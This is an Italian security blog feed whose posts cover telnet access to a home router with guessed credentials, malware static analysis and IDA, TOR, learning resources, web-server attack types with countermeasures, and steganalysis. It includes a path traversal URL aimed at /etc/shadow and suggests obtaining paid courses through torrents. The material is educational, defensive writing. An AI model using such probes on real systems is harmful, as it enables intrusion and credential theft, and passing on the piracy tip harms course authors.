Ora il file eserciziario.pdf è stato copiato nel mio computer e posso con tutta calma sfogliarlo. Per chi volesse altri comandi utili, li può consultare qui. Purtroppo questo modello di router non permette un accesso FTP a più alto livello (quindi all’interno del sistema) e con questo servizio mi fermo a questo punto. Se utilizzate questa funzione e avete un hard disk collegato al router, vi consiglio di modificare la password, in modo da evitare queste spiacevoli conseguenze. Dal terminale è possibile cancellare tutto ciò che è presente sul disco collegato, quindi meglio proteggerlo adeguatamente!

Analizzarlo dall’interno

Visto che FTP non mi permette di accedere ad altri file provo a connettermi con telnet.

root@kali:~# telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.

username:admin
password:

Come prima, provo un pò di credenziali e bingo, sono dentro! (in questo caso le password del mio modello di router erano numeri casuali e difficilmente con un attacco a forza bruta si sarebbero trovate. Le ho modificate appositamente per l’esempio pratico; ciò non toglie che si possano trovare con altri modelli, specie quelli più vecchi).

routerhacktplink

Dopo aver girovagato un pò per le varie configurazioni (potrei modificare praticamente tutto da questa interfaccia), riesco a trovare la password del Wi-Fi che è in chiaro e in bella vista.

routerhackpwd

Conclusioni

Purtroppo questo modello di router non permette (da quanto ho visto) di visualizzare gli utenti connessi o informazioni in merito al traffico dalla connessione via telnet, ma solo di impostare e configurare il router e le diverse modalità di connessione. C’è da dire che:

  • nel caso di una chiavetta USB collegata ad esso, abbiamo potuto copiare e visualizzare tutti i file al suo interno sul nostro dispositivo;
  • ci siamo collegati via telnet e abbiamo trovato la password del Wi-Fi;
  • avremmo potuto modificare i DNS e dirigere tutto il traffico verso siti prescelti da noi.

Sono convinto che se i produttori di router impostassero password di default diverse o non aprissero porte che all’utente comune non servono minimamente, ci sarebbero molti meno problemi nell’ambito della sicurezza informatica. Se qualcuno volesse leggere articoli di approfondimento, consiglio vivamente TestRouter (un sito che permette di testare in maniere diverse il proprio router) e Reverse Engineer router firmware.

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

Analisi statica avanzata di base – Parte prima

$
0
0
 Attenzione: per questo articolo consiglio delle basi di programmazione ad alto livello (C o Java ad esempio), o per lo meno una conoscenza generica di come funziona un programma di base (funzioni, oggetti, if, while, for, etc.). 

Cercherò come sempre di inserire approfondimenti o link per comprendere al meglio.

Come detto negli scorsi articoli sull’analisi dei malware, l’analisi statica e dinamica di base sono ottimi metodi per ottenere informazioni semplici, ma sono solo la punta dell’iceberg del processo.

Per esempio, se utilizziamo l’analisi di base su di un malware, possiamo osservare una particolare funzione importata, ma non potremo sapere quando e in che modo viene utilizzata. È qui che ci viene in aiuto il disassemblaggio ed è questo che verrà introdotto in questo articolo, cercando come sempre di poter dare un’infarinatura di base e link vari di approfondimento.

Astrazione

Nell’architettura dei computer, un sistema è suddiviso in diversi livelli di astrazione, i quali nascondono i dettagli di implementazione all’utente finale. Nel nostro caso, gli autori di Malware creano programmi con linguaggi ad alto livello e utilizzano un compilatore per generare il codice che verrà poi utilizzato; noi, per analizzarli, utilizziamo un dissassemblatore per generare codice assembly (il livello più vicino al linguaggio macchina) che potremo leggere e analizzare in modo da capire come il malware funziona.

analisiavanzata-astrazione

In modo molto generale, i livelli principali sono:

  1. Harware: è il livello fisico, il quale consiste di circuiti elettrici che implementano operazioni logiche, come XOR, AND, OR e NOT (conosciuto anche come logica digitale);
  2. Microcodice: conosciuto come firmware, contiene microistruzioni che traducono il livello successivo (codice macchina) nel livello inferiore. nell’analisi di un malware è solitamente ignorato, in quanto specifico per ogni macchina;
  3. Codice macchina: consiste di opcodes, ossia codici esadecimali che dicono al processore cosa fare. Questo livello è creato quando un programma viene compilato con linguaggi ad alto livello;
  4. Linguaggi a basso livello: il codice è ora leggibile e il più comune è il linguaggio assembly. L’analisi di malware opera a questo livello, visto che il codice macchina è troppo complesso per essere compreso a fondo.
  5. Linguaggi ad alto livello: quasi tutti i programmatori operano a questo livello. Compilando questi linguaggi si ottiene codice macchina che eseguirà le nostre istruzioni. Ad esempio sono C e C++;
  6. Linguaggi interpreti: sono l’ultimo livello, ad esempio C#, Perl e Java.

Ogni istruzione del linguaggio assembly corrisponde ad un opcodes, il quale “dice” alla CPU quali operazioni effettuare. Gli operatori sono utilizzati per identificare i dati usati da un istruzione. Ci sono tre tipi:

  • Operatori immediati: sono valori come 0x42;
  • Operatori di regitro: si riferiscono ai registri, come ecx;
  • Operatori degli indirizzi di memoria: si riferiscono agli indirizzi di memoria contenenti i valori di interesse;

I registri sono piccoli porzioni di dati disponibili nella CPU, il cui contenuto può essere trasferito e salvato in altre parti. I registri principali sono:

  • Registri generici, utilizzati dalla CPU durante l’esecuzione;
  • Registri dei segmenti: utilizzati per tracciare sezioni di memoria;
  • Bandiere di stato: utilizzate per prendere decisioni;
  • Punti di istruzioni: utilizzati per tenere traccia della prossima istruzione da eseguire.

analisiavanzata-registri

L’istruzione più comune e semplice è mov, la quale è utilizzata per spostare dati da una locazione ad un’altra. In altre parole per leggere e scrivere nella memoria. Il formato in cui è scritta è

mov destinazione, sorgente

Ad esempio possiamo trovare:

  • mov eax, ebx: copia il contenuto del registro EBX nel EAX;
  • mov eax, 0x42: copia il valore 0x42 nel registro EAX;
  • mov eax, [ebx]: copia 4 byte specificati nel registro EBX nel registro EBX;
  • mov eax, [ebx+esi*4]: copia 4 byte specificati nel risultato dell’equazione ebx+esi*4 nel registro EAX.

L’aritmetica nel codice assembly è la stessa di sempre, per cui gli operatori sono:

  • sub eax, 0x10: sottrae 0x10 da EAX;
  • add eax, ebx aggiunge EBX a EAX e salva il risultato in EAX;
  • inc edx: incrementa EDX di 1;
  • dec ecx: decrementa ECX di 1.
  • mul 0x50: moltiplica EAX per 0x50 e salva il risultato in EDX o EAX;
  • div 0x75: divide EDX o EAX di 0x75 e salta il risultato in EAX e il resto in EDX.

Altre operazioni possono essere xor, or, shl e ror. Una guida scritta davvero bene sull’architettura x86 la potete trovare qui.

Un branch è una sequenza di codice eseguita condizionalmente, ossia in base al valore di una determinata variabile (in sostanza come se fosse un for o un while in linguaggio ad alto livello).

Il più popolare è l’istruzione jump locazione, composto da più di 30 tipi diversi. Alcuni sono:

  • je locazione: salta alla locazione specificata se ZF=0 (bandiera flag zero). Solitamente viene usato dopo un’istruzione cmp (comparo un valore con un altro);
  • jg locazione: effettua una comparazione del segno e salta alla destinazione specificata;
  • jle locazione: effettua una comparazione del segno dopo un cmp se l’operando di destinazione è minore o uguale dell’operando sorgente;
  • jecxz locazione: salta alla posizione se ECX=0.

Nel corso dell’articolo cercherò comunque di introdurre al meglio le modalità di utilizzo di ogni istruzione, in modo che possa essere capita. Come vedere sono molte, perciò non posso ovviamente fare un elenco di ognuna (che risulterebbe poco comprensibile senza esempi reali).

Poichè i Malware sono solitamente scritti in C, è importante sapere come un programma è tradotto dal C all’assembly. Questa conoscenza aiuterà anche a capire la differenze che intercorre tra i due linguaggi.

codicectoassembly

Questo è un semplicissimo programma C, convertito in assembly (gentilmente preso da C to Assembly). Come potete notare, anche con il più semplice dei programmi, decompilato in assembly,  non si inizia a capire più nulla (provate, sempre tramite il sito, a convertire l’esempio Bubble sort).

Software per l’analisi di base

Il software più potente e completo è indubbiamente IDA Pro. Purtroppo, essendo un software commerciale, costa e non poco (il pacchetto Starter 529 euro). È disponibile la versione gratuita a questo indirizzo, la quale ha alcune funzioni limitate (non è infatti da utilizzare in ambito professionale), ma per usi didattici può andare benissimo.

Altri software da poter utilizzare sono:

Nel prossimo articolo andrò ad analizzare un malware e cercherò di spiegare passo per passo tutte le funzioni e (quasi) tutte le informazioni da sapere per poter effettuare un’analisi statica avanzata.

esempioanalisi1

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

TOR: cosa è, come funziona, alcuni link utili

$
0
0

Sono anni che sentiamo parlare di TOR, dell’anonimizzazione e di come questo sistema ci permetta di navigare in completa autonomia e privacy senza aver paura di venire tracciati o rintracciati.

Tor, acronimo di The Onion Router, è un sistema di comunicazione anonima per internet, il quale protegge gli utenti dall’analisi del traffico e dal rintracciamento attraverso una serie di nodi gestiti da volontari che permettono il traffico in uscita e la realizzazione di servizi anonimi nascosti.

Gli utenti usano TOR per evitare di essere tracciati dagli ISP (o evitare i blocchi messi dagli stessi) , dai siti o semplicemente vogliono evitare di rilevare la loro posizione geografica.

I giornalisi usano TOR per comunicare in modo sicuro con i dissidenti di uno stato o viceversa creano piattaforme per poter avere notizie o informazioni da parte di persone che non vogliono essere localizzate (ad esempio: Wikileaks o la piattaforma RegeniLeaks messa online da L’Espresso).

Tor-onion-network

Utilizzando il software i nostri dati passano attraverso molti nodi prima di giungere al server finale. Questi dati vengono cifrati più e più volte (da qui deriva il termine Onion) ogni volta che il segnale passa attraverso un nodo.

Mappa dei nodi di TOR
Mappa dei nodi di TOR

Di seguito le differenze tra una connessione HTTP, HTTPS, TOR e TOR con HTTPS:

Navigazione senza TOR né HTTPS
Navigazione senza TOR né HTTPS

Come si può vedere in questo caso, chiunque è in grado di tracciare ciò che visitiamo (l’hacker potrebbe vedere le nostre connessioni con tcpdump o Wireshark, ad esempio).

Navigazione con HTTPS
Navigazione con HTTPS

Con HTTPS le connessioni sono cifrate, ma la posizione e ciò che visitiamo sono comunque visibili a chiunque.

Navigazione con TOR
Navigazione con TOR

Con TOR la situazione migliore notevolmente, la posizione TOR è fittizia, in quanto nascosta da più nodi (quindi risalendo anche all’ultimo nodo ne mancano ancora minimo due per avere la posizione reale).

Navigazione con TOR e HTTPS
Navigazione con TOR e HTTPS

Se utilizziamo TOR Browser Bundle (il browser messo a disposizione per TOR) sarà anche incluso il plugin HTTPS Everywhere che forza (cercando di crittografare) le richieste che effettuiamo dal browser.

Quasi tutti i software pre-installati in Kali permettono l’utilizzo di TOR in modo da effettuare i nostri penetration testing in perfetto anonimato. Per avviarlo da riga di comando:

sudo service tor start

Ogni tool ha la sua opzione, ma solitamente bisogna impostare l’indirizzo proxy a 127.0.0.1 e la porta è la 9050.
Per chi si chiedesse se è davvero sicuro e anonimo, può stare tranquillo. Nessuno è mai stato localizzato per colpa di TOR, ma per colpa di un utilizzo errato dello stesso. Gli errori frequenti sono:

  • Utilizzare torrent tramite TOR: non solo rende la rete (mondiale) infinitamente più lenta, ma il protocollo stesso NON è e non può essere anonimo (a meno di utilizzare una seedbox);
  • Scaricare e aprire direttamente documenti e/o file: potrebbero contenere dei link che si aprono direttamente. La prassi vuole che prima si scarichino sul proprio dispositivo e successivamente aperti;
  • Utilizzarlo in una rete pubblica: i tecnici della rete leggendo i log possono risalire al computer che usa TOR, e se vi siete loggati nella stessa con il vostro numeri di cellulare, tanto intelligenti non lo siete;

Se avete un’ora di tempo vi consiglio caldamente questo video, in cui vengono spiegati e analizzati vari casi in cui degli hacker (o presunti tali) vengono rintracciati per colpa di uno dei punti sopra elencati.

TOR è disponibile anche da mobile, con l’app Onion Browser per Apple e Orbot per Android!

Navigare nel Deep Web e alcuni link utili

Usando quindi il browser fornito per TOR, possiamo navigare nel famoso Deep Web, tanto ammirato per la sua privacy quanto osannato per traffici illeciti. La pagina principale che consiglio è HiddenWiki, ossia Wikipedia del DeepWeb, la quale cerca di essere costantemete aggiornata con i più recenti link (molti siti possono cambiare link di giorno in giorno)

Motori di ricerca:

Comunicazioni;

(alcuni) Siti Italiani:

 

Per chi volesse invece cimentarsi nella creazione di un proprio sito TOR, consiglio la documentazione (in inglese) sul sito ufficiale, oppure un ottimo articolo (in italiano) di BatsyBase, mentre chi vuole semplicemente approfondire il discorso di TOR, anonimato e privacy, consiglio di leggere alcuni dei molti paper presenti su Free Haven.

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

Analisi statica avanzata di un Malware – Parte seconda: IDA

$
0
0

Nella Parte Prima abbiamo approfondito il discorso dell’analisi statica di un Malware introducendo l’astrazione di un dispositivo, i principali operatori assembly e, per ultimo, i software più utilizzati per questo tipo di operazioni. In questo articolo introdurrò l’interfaccia di IDA e inizierò ad analizzare un Malware utilizzando i servizi online VirusTotal e Malwr, insieme al software IDA freeware.

La lista da cui prenderò il Malware è questa, mentre il file stesso (se volete provare ad analizzarlo) è [il vostro browser tenderà a bloccare il download ovviamente] qui.  Consiglio come sempre di utilizzare una macchina virtuale per questo tipo di operazioni. Sebbene in questo tipo di analisi non viene avviato nessun file, il rischio di essere infettati è alto (anche se, per ora, non analizziamo Ransomware). Nel mio caso, sto usando Windows 7 tramite VirtualBox.

Con VirusTotal e Malwr effettuo una veloce analisi statica di base, accertandomi del fatto che sia un Malware, a che tipologia appartiene e quali sono i comportamenti più “visibili” sul dispositivo attaccato.

Analisi di VirusTotal, su 56 antivirus, 39 segnalano un possibile Trojan/Adware
Analisi di VirusTotal: su 56 antivirus, 39 segnalano un possibile Trojan/Adware

 

Analisi di Malwr, è un tipo di File PE
Analisi di Malwr: è un tipo di File PE, effettua qualche connessione con degli indirizzi IP e, dagli screenshot forniti dal sito, è in tutto e per tutto un Adware.

Interfaccia di IDA

Per prima cosa, apro IDA e seleziono un nuovo progetto. All’apertura, mi chiede che tipo di file voglio analizzare e seleziono PE eseguibile.

aaaTipodiFile

Dopo averlo caricato, vengono chieste diverse opzioni, e lascio tutto di default.

Nella cartella dove è presente il file che stiamo analizzando verrano creati diversi database, con estensione .til, .id0, .id1 e .nam. Sono file utilizzati da IDA per salvare le informazioni dell’eseguibile che analizziamo.

L’interfaccia di IDA è molto complessa, per cui cercherò di spiegare in dettaglio ogni menù ed opzione.

aaainterfacciaIDA
Interfaccia di IDA

Quando lo apriamo si presenta in questo modo, e di primo impatto potrebbe sembrare confusionario, ma dopo un pò che lo si utilizza, diventerà un ambiente familiare, visto che è anche possibile personalizzarlo ai base alle nostre esigenze.

Memoria

aaainterfacciaIDAbarra

Rappresenta la memoria utilizzata dal file che abbiamo caricato, la freccia gialla indica il punto in cui ci troviamo, e i colori sono divisi in base al tipo di codice che è presente nell’eseguibile. Se con il tasto destro clicchiamo su di essa, possiamo ingrandirla a piacere.

Menu

aaainterfacciaIDAmenu

È il menu principale nel quale possiamo scegliere la vista che ci interessa. Se nel menu in alto clicchiamo su View->open subviews abbiamo la possibilità di aprire altre viste, ad esempio lo Pseudocodice di alcune funzioni o i registri appartenenti al programma.

Grafico

aaainterfacciaIDAgraph

È il grafico dell’insieme di istruzioni nel punto della memoria selezionato sulla barra precedente. Ogni blocco logico rappresenta un obiettivo dell’istruzione jump, che salta ad un altro blocco, e cosi via. Le linee che separano ogni blocco possono essere verdi, rosse o blu:

  • linea verde: l’obiettivo esiste, e la jump è soddisfatta;
  • linea blu:  non ci sono decisioni da intraprendere e la jump non è soddisfatta (l’obiettivo non esiste);
  • linea rossa: non ci sono decisioni da prendere.

L’help in linea può venirci incontro per questo tipo di informazioni.

Se con il mouse clicchiamo il tasto destro->Text Views in un punto qualsiasi del grafico, possiamo vedere il codice disassemblato da IDA

aaainterfacciaIDAtextviews1

 

Le freccie tratteggiate rappresentano le istruzioni jump condizionali, mentre quelle solide indicano i jump non condizionali.; seguendole, possiamo ovviamente osservare cosa fa il programma, come nel grafico. Nel caso ci sia un commento verde, “; CODE XREF: ” sapremo che l’istruzione presente sulla stessa riga si riferisce a quell’indirizzo; cliccando tasto destro->Jump to cross reference potremo sapere a quale locazione e istruzione fa riferimento.

 

aaainterfacciaIDAcross
Con il tasto destro seleziono Jump to cross reference

 

aaainterfacciaIDAcross1
Clicco OK e mi porta alla locazione scelta

aaainterfacciaIDAcross2

Menu->Import

In questa finestra sono presenti tutte le funzioni che l’eseguibile importa e di conseguenza non sono presenti al suo interno. La maggior parte dei file eseguibili effettua queste operazioni, poichè ha bisogno di DLL esterne o condivise per funzionare.

aaainterfacciaIDAmenuimport

Finestra delle funzioni

Sulla sinistra è presente la finestra delle funzioni, in cui sono presenti tutte le funzioni e subroutine che l’eseguibile sfrutta in tutti i suoi passaggi.  Ci stampa in quale segmento siamo, dove inizia, la lunghezza della funzione e alcune flags (ad esempio: R per informarci che la funzioni ritorna al chiamante, S indica una fuzione statica, etc.).

aaainterfacciaIDAfunzioni1

Sulla destra ho invece aperto la finestra Names (potete trovarla in View-> open Subviews). In questo caso possiamo visualizzare tutti le stringhe che IDA trova nell’eseguibile, alcune generate da IDA stesso per indicare che quegli indirizzi virtuali non hanno nomi o simboli (sono indicati con il trattino basso, ad esempio _SEH). Anche in questo caso sono differenziate con delle lettere iniziali, che stanno ad indicare:

  • F: regolare funzione (che quindi troviamo nella finestra delle funzioni);
  • L: funzione di libreria;
  • C: istruzione;
  • A: stringa ascii;
  • D: dati;
  • I: nome importato.

Segmenti

Un’altra finestra degna di nota è quella dei segmenti (si trova sempre in subviews). Essa ci permette di vedere quali tipologie di segmenti sono presenti nell’eseguibile e cliccando su uno di essi si può saltare direttamente all’inizio delle loro istruzioni.

aaainterfacciaIDAsegmenti

 

Le funzioni che ho introdotto sono solo la punta dell’iceberg di questo software, ma per le analisi che stiamo compiendo saranno più che sufficienti. Per chi volesse approfondire, sono ottimi i libri “The IDA Pro Book” e “Reverse Engineering Code with IDA Pro“. Nel prossimo articolo analizzerò finalmente un Malware, andando a focalizzarmi sulle funzioni maligne e sull’utilizzo pratico di IDA.

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips


Lista dei siti per imparare la sicurezza informatica

$
0
0

sitilearninfosec

Sebbene abbia creato una pagina apposita per mantenere una lista aggiornata settimanalmente con la lista di tutte le risorse di cui sono a conoscenza, ho deciso di scriverne anche un articolo, per cercare di categorizzarle al meglio e poter dare una maggiore capacità di decisione verso chi mi sta leggendo e ancora non sa da dove iniziare.

Per prima cosa, bisogna chiedersi in cosa ci si vuole specializzare. Il campo della sicurezza informatica è immenso, e copre ambiti che vanno dalla “semplice” analisi di applicazioni web al ben più ostico Reverse engineering.

Come seconda questione, è bene riuscire ad evitare di seguire troppo siti, in quanto si rischierebbe di non riuscire a stare dietro al passo, visto che giornalmente vengono pubblicate migliaia di notizie e guide. Focalizzatevi su un argomento, imparatelo bene e passate ad un altro. Così via, in modo da crearsi basi solide e non comportarsi come Script Kiddie. Per chi non ha proprio idea come cominciare, in questo caso Google è tuo amico!

Corsi e Video Tutorial

Su youtube se ne possono trovare moltissimi, ma cercherò di evitarli, preferendo corsi professionali [non necessariamente dovrete pagare, li trovate tutti (o quasi) su internet fruibili gratuitamente (ad esempio su torrent)]:

  1. The Complete Ethical Hacking Course: Beginner to Advanced;
  2. IT Security and Ethical Hacking (Udemy);
  3. PluralSight CompTIA Security+: molto teorico, ma se seguito in maniera approfondita pone delle ottime basi;
  4. InfiniteSkills – Learning Computer Forensics: sul sito di Infinite Skill se ne possono trovare diversi;
  5. Network Security;
  6. Penetration Testing & Ethical Hacking;
  7. Computer & Hacking Forensics;

Potete sceglierne altri da questa lista, tenuta aggiornata giornalmente.

Libri

In italiano ritengo degni di nota (ma ammetto che ne conosco ben pochi in lingua):

In inglese:

Libri per l’analisi di Malware:

  1. Malware Analyst’s CookBook;
  2. Pratical Malware Analysis;
  3. Pratical Reverse Engineering;

Altri (in inglese) si possono trovare  a questo indirizzo, su Github e Zenk-Security (il quale fornisce già i PDF).

Testate giornalistiche e blog inerenti alla sicurezza informatica

In italiano purtroppo abbiamo ben poche risorse, i siti nostrani sono:

In inglese:

Blog:

  1. Reddit netsec;
  2. Krebs on Security;
  3. Malware don’t need Coffe;
  4. Malwarebytes Blog;
  5. Schneier on Security;
  6. Troy Hunt’s Blog;
  7. ZDNet;
  8. Have i been pwned? Raccolta e notizie sugli ultimi breach;
  9. Malware must die!
  10. Blog Microsoft;
  11. Daniel Miessler;
  12. Darknet;
  13. David Longenecker;
  14. Fortinet Blog;
  15. Krypt3ia;
  16. Veracode;
  17. Webroot Threat Blog;

Testate giornalistiche:

Questo sono più o meno le maggiori fonti d’informazione. Per chi volesse iscriversi tramite feed a questa lista (in inglese) più altri siti che non ho menzionato (alcuni sono offline), può trovare il file xml a questo indirizzo.

Un’altra risorsa che ho sempre trovato molto utile e interessante sono le varie conferenze tenute (solitamente) negli Stati Uniti. I siti più aggiornati sono IronGeek e Security Tube.

Spero di esser riuscito ad elencare i principali e più inerenti; se ho dimenticato qualcosa, contattatemi e aggiungerò ciò che manca!

 

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

Linee guida per l’hacking di un Server web (e come difendersi)

$
0
0

Un server web è un software (o insieme di software) che, in esecuzione su un server, gestisce le richieste di un client, solitamente di un browser. Ogni volta che visitiamo un sito internet, stiamo inviando richieste a dei server web, i quali ci rispondono con le pagine da noi richieste.  Esistono moltissimi diversi software, ma i più utilizzati sono:

hackingserverstats
Server web più utilizzati

I primi due sono Open-Source, quindi hanno codice sorgente aperto, è possibile modifare ogni parametro o codice interno, mentre IIS è a codice chiuso, per cui (che io sappia) nessuno è a conoscenza del codice interno. L’architettura di un tipico web server Open Source è composta da:

  • Sistema operativo Linux;
  • Componenti software, ad esempio Apache;
  • Il database, che può essere MySQL, PSQL o altri;
  • il livello applicattivo, ad esempio PHP.

hackingserveropensource

 

L’architettura di un web server IIS è decisamente diversa, abbiamo:

  • Sistema operativo Microsoft, ad esempio Windows Server 2008;
  • Componenti come HTTP.sys;
  • Servizi come World Wide Web Publishing Service (WWW Service) e Windows Process Activation Service (WAS).

 

hackingserveriis

 

Come mai vengono compromessi?

Le motivazioni possono essere infinite, che vanno dalla semplice casualità di una mail infetta da virus aperta da un tecnico dell’azienda, all’attacco mirato di hacker che vogliono compromettere il sito per determinati motivi. Le principali cause di una compromissione sono:

  1. Installare il server mantenendo le configurazioni di default, lasciando quindi password di base, porte aperte (come ssh) e utenti con tutti i privilegi possibili;
  2. Permessi errati agli utenti o ai file: se viene lasciato il file di configurazione del web server accessibile a chiunque senza restringere i permessi al solo amministratore, qualsiasi utente può modificarlo a piacimento.
  3. Software non aggiornato: tralasciando la “remota” possibilità di un 0-day, la maggior parte dei siti viene compromesso proprio in questo modo;
  4. Certificato SSL inesistente o malconfigurato: se mi collego al sito da una rete pubblica e non ho il certificato SSL, chiunque è in grado di leggere le credenziali che utilizzo per connettermi.

Un server compromesso può causare molti danni, tra i quali:

  • Compromissione di account, di conseguenza l’utente che possiede l’account compromesso non è più in grado di accedervi;
  • Defacciamento di un sito, che consiste nel cambiare l’home page di un sito o alcune pagine inserendo (solitamente) l’azione riuscita dell’hacker;
  • Sottrazione o rimozione di dati;
  • Utilizzo del server per fini illegali, come esecuzione di DDOS ad altri server (un caso clamoroso di pochi mesi fa nel quale sono stati hackerati due server di amazon e hanno attaccato il sito della BBC, con una banda di 602 Gpbs).

Attacchi possibili

Path Traversal

Consiste nello sfruttare errate configurazioni di validazione dell’input e accedere a cartelle che, in teoria, non dovrebbero essere accessibili a nessuno, come il file delle password. Un esempio di questo tipo di attacco su un server *NIX può essere:

http://some_site.com.br/../../../../etc/shadow

Se il web server è mal configurato accetterà la richiesta, permettendomi di leggere il file delle password. Un software che cerca questa vulnerabilità è DotDotPwn,  mentre altri esempi si possono trovare a questo indirizzo.

HTTP Response Splitting

Questo tipo di attacco può essere utilizzato quando i dati di una richiesta web sono inclusi in una risposta HTTP e non sono validati. Per capirci meglio, possono essere i vari tipi di Injection (SQL, XSS, CSRF).

Attacco bruteforce

Può essere eseguito sia nella credenziali di login (ad esempio se si ha wordpress e la pagina di login non è protetta da questo tipo di attacco) sia tramite SSH, telnet, FTP. Se viene lasciato il servizio attivo, bisogna ricordarsi sempre di inserire protezioni, che possono essere (ad esempio) login permesso solo da certi indirizzi IP, ban di indirizzi IP che effettuanto troppe richieste, etc. Un software che effettua un attacco bruteforce può essere Hydra. Ho già spiegato le diverse metodologie per il password cracking, per cui non mi dilungherò sul discorso. È bene ricordarsi sempre di non loggarsi mai se si è connessi ad una rete pubblica se non abbiamo il certificato, mai usare password semplici e inserire sempre controlli su chi cerca di entrare nel nostro sistema senza autorizzazione.

Dos

Questo tipo di attacco non dipende purtroppo da nessuna configurazione, ma è solamente un atto vandalico compiuto da chi non ha molto da fare (o è un azienda concorrente). La conseguenza di questo attacco è avere il sito non raggiungiibile per tutta la durata dello stesso. Per ridurre le possibilità di attacchi DOS è possibile iscriversi a CloudFare, il quale implementa una serie di controlli e difese nel caso di un attacco. Un altro ente che può mitigare (ma non eliminare) è l’hosting provider, come Amazon, OVH o Aruba.

Le fasi di un attacco ad un server web sono le stesse fasi che vengono compiute in una sessione di Hacking, per cui:

  • Esplorazione e Footprinting: si cerca di carpire più informazioni dall’obbiettivo, scansionando la rete e cercando i modi più idonei per poter sfruttare (se presenti) delle vulnerabilità.
  • Scanning & Enumeration: fase in cui si utilizzano le informazioni rilevate precedentemente e le si utilizzano per determinare l’obbiettivo principale.
  • Guadagnare l’accesso: è la fase più importante, in cui si riesce ad attaccare l’obbiettivo ed accedervi.
  • Mantenere l’accesso: in questa fase l’hacker può cercare di guadagnare i permessi di root per poter accedere a più informazioni possibili (o danneggiare il più possibile), può inserire una backdoor o un trojan per trasferire le informazioni in un posto noto solo a lui.
  • Pulire le traccie: dopo essere entrati in un sistema bisogna sistemare in modo che il proprietario del sistema non si accorga della presenza di qualcosa di estraneo e può ad esempio essere la cancellazione dei file di log.

Contromisure

Per eliminare la maggior parte dei rischi di un hacking al proprio web server bisogna seguire poche e semplici regole, che vanno attuate quotidianamente. Se non si è in grado o non si riesce più ad aggiornare il proprio sito, non lasciatelo andare per i fatti suoi, non è mai una buona idea.

  1. Scansionate e verificare che tutti i software attivi siano aggiornati;
  2. Prima di installare una patch o un aggiornamento, verificate che la fonte sia affidabile e non abbia subito a sua volta un attacco;
  3. Installate un buon firewall;
  4. Eseguite sempre backup, nel caso andasse storta qualche nuova installazione o qualche buontempone decida di eliminare il vostro web server e tutti i suoi dati;
  5. Bloccate le porte non necessarie e che non utilizzate;
  6. Se l’accesso remoto è necessario, proteggetelo da attacchi bruteforce con password robuste e firewall;
  7. Rimuovere gli utenti presenti di default e che non utilizzate;
  8. Controllate i log del server verificando che nessuno stia cercando di introdursi.

 

Conclusioni

Ho cercato di descrivere a grandi linee (molto grandi) i principali tipi di attacco e come difendersi da essi. Un plugin del browser che ho sempre trovato molto interessante è Wappalyzer. Esso ci informa ogni volta che visitiamo un sito che web server possiede, i cms utilizzati e una serie di altre informazioni più o meno utili.

Un esempio pratico e reale dell’hacking di un web server e di un intera azienda poteto trovarlo nel recente caso di Hacking Team. L’hacker ha pubblicato tutti i passi compiuti dall’entrare nel server, sottrarre le informazioni ed uscire da esso come se niente fosse.

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

Steganalisi, ossia trovare messaggi nascosti con la Steganografia

$
0
0

stego

La Steganalisi è il processo inverso della Steganografia. L’obiettivo della steganalisi è determinare se un mezzo o file contiene un messaggio e nel caso l’esito sia positivo, trovare quali sono le informazioni nascoste. Prendendo spunto dalla lezione del prof. Battiato, si hanno diversi tipi di attacchi:

  • stego only: l’attaccante riesce ad intercettare il frammento stego e lo analizza;
  • stego attack: il file originale viene comparato con il file steganografato e vengono rilevate le differenze;
  • cover stego attack: l’attaccante riesce ad intercettare il frammento stego e sa quale cover è stato usato per crearlo;
  • chosen stego attack: il software e l’oggetto stenografato sono conosciuti e viene quindi trovato il messaggio nascosto;
  • manipulating the stego/cover data: l’attaccante può manipolare i frammenti stego/il cover.

Il cover è quindi il mezzo con cui viene nascosto il messaggio segreto; i più utilizzati e interessanti da analizzare sono le immagini, i file audio e video.

Le tecniche più comuni per nascondere i messaggi sono:

  • aggiungere il messaggio alla fine di quel file;
  • nascondere il messaggio nella porzione dell’header non utilizzata (solitamente all’inizio);
  • usufruire di un algoritmo che disperde il messaggio all’interno del file. Il più famoso è la Modifica del LSB (Least Significant Bit).

I metodi principali per trovare un file steganografato sono quindi:

  1. Rilevazione visuale consiste nell’osservare i file immagine come Jpeg, Bmp, Gif e trovare le differenze;
  2. Rilevazione sonora nei file audio come Wav, Mpeg, etc;
  3. Rilevazione statistica (analizzando LSB) o analisi dell’istogramma;
  4. Rilevazione strutturale osservando le proprietà come il peso del file e il checksum.
Esempio di rilevazione strutturale base

La rilevazione visuale cerca quindi di scoprire se in un file immagine sono presenti informazioni nascoste e prova ad estrarle. In rete ci sono molto software per verificarlo e anche distribuzioni linux specifiche per l’analisi forense (come Deft Linux, Cyborg o Caine).

Steganografia: Con StegoSuite inserisco il messaggio nascosto in un immagine Jpeg. Per farlo basta cliccare su File->Open, inserire il messaggio che si vuole, proteggerlo opzionalmente con password e cliccare su Embed

screenshot-from-2016-09-21-17-51-12

 

Steganalisi: Ovviamente per estrarre il messaggio si può utilizzare lo stesso software, ma questo è possibile solo se l’attaccante sa quale è. Nel caso non si sapesse, è molto più difficile trovare l’informazione nascosta.

Per prima cosa, confronto le due immagini per vedere le differenze

screenshot-from-2016-09-21-18-05-02
A sinistra l’immagine originale, a destra quella steganografata

I comandi che ho eseguito sono:

  • file: determina il tipo vi lascio un paperdi file e le caratteristiche;
  • identify: descrive le forme e le caratteristiche di un file immagine;
  • exiv2: è un software di manipolazione dei metadati, il quale permette anche la stampa degli stessi.

Come si può ovviamente notare le due immagini sono cambiate, soprattutto nel peso: mentre la prima pesa 80Kb, quella steganografata pesa circa la metà.

Un software che può venirci incontro per verificare su un immagine è steganografata è stegdetected (nel link trovate le informazioni su come installarlo su kali linux). Funziona solo con Jpeg, quindi nel nostro caso va benissimo:

root@kali:~/Desktop# stegdetect steganografata.jpg 
steganografata.jpg : f5(***)

